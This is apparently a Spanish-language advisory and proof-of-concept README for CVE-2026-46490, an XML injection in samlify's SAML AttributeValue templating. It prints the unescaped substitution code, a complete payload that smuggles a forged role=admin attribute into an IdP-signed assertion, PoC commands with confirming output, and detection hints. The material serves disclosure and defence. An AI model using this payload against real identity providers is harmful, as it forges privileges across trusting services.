
CVE-2026-46490 — samlify <2.13.0 Inyección XML en SAML AttributeValue -> escalada de privilegios en aserciones firmadas. PoC autónomo, verificado e2e.
AttributeValue XML Injection → Escalada de Privilegiossamlify
< 2.13.0escapa las sustituciones de plantilla solo en contextos de atributos. Un valor controlado por el usuario (p. ej.name) colocado en el texto del elemento —<saml:AttributeValue>{Value}</saml:AttributeValue>— se inserta sin escapar, por lo que un usuario normal puede inyectar elementos<saml:Attribute>adicionales (p. ej.role=admin) en su propia aserción SAML firmada por el IdP. Debido a que la inyección ocurre antes de la firma, la verificación de firma del Proveedor de Servicio pasa y consume los atributos falsificados como autoritativos.
src/libsaml.ts sustituye los marcadores de posición {tag} mediante replaceTagsByValue →
escapeTag:
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "no tener una comilla significa que esta interpolación no es para un atributo y, por lo tanto, no necesita escape"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- texto de elemento: SIN escape
};
}
La expresión regular captura una " opcional precedente como quote. En contexto de atributo
(Name="{Name}") quote está definido y el valor se escapa con xmlEscape; en texto de elemento
(>{attrEmail}<) no hay comilla precedente, por lo que el valor se emite textualmente.
La plantilla de atributo predeterminada coloca el valor en el texto del elemento:
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
Por lo tanto, un valor de atributo controlado por el atacante que contenga </> inyecta XML sin procesar.
El atacante establece su propio atributo de perfil (aquí email) en:
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
Esto cierra el atributo email, agrega un atributo falsificado role=admin y
vuelve a abrir un atributo desechable para que el cierre </saml:AttributeValue></saml:Attribute>
final de la plantilla se mantenga equilibrado. El IdP firma la
aserción — cubriendo el atributo falsificado. Un SP compatible con los estándares valida la
firma (válida) y lee role=admin.
cd lab && ./setup.sh # npm i [email protected] + generar pares de claves IdP/SP
node poc.js
Salida:
>>> INYECCIÓN CONFIRMADA: <saml:Attribute Name="role">admin falsificado introducido de contrabando en la aserción firmada
atributos extraídos: {"email":"[email protected]","role":"admin","ignore":[]}
>>> ESCALADA DE PRIVILEGIOS CONFIRMADA: SP aceptó una aserción de firma válida que otorga role=admin
El PoC impulsa el propio IdP de samlify (createLoginResponse, que realiza la
vulnerable sustitución replaceTagsByValue y firma) y SP
(parseLoginResponse, que valida la firma y extrae atributos).
El SP expone role: "admin" — un atributo que el atacante falsificó, no uno que el IdP
pretendía emitir.
Cualquier usuario que pueda influir en uno de sus propios valores de atributo SAML (email, nombre
para mostrar, …) en un IdP basado en samlify puede acuñar una aserción válidamente firmada que
contenga atributos adicionales arbitrarios — pertenencia a grupos/roles, derechos, banderas isAdmin
— y escalar privilegios en cada SP que confíe en el IdP. La validación
de la firma SAML no ayuda: la falsificación está dentro del ámbito firmado.
Inspeccione las aserciones emitidas/consumidas en busca de valores de atributos que contengan marcado XML
(</saml:AttributeValue>, <saml:Attribute), y en busca de aserciones que contengan más
elementos <saml:Attribute> de los que define la plantilla del IdP.
Consulte ANALYSIS.md para la expresión regular de sustitución, la heurística de comillas y
el parche.
| CVE | CVE-2026-46490 |
| Aviso | GHSA-34r5-q4jw-r36m |
| Afectado | samlify < 2.13.0 |
| Corregido | 2.13.0 |
| Clase | CWE-91 (Inyección XML) → escalada de privilegios |
| CVSS | 8.8 (Alto) |
| Autenticación | Usuario autenticado con pocos privilegios (controla uno de sus propios valores de atributo) |
| Estado | CONFIRMADO — cadena completa IdP→SP reproducida con [email protected] |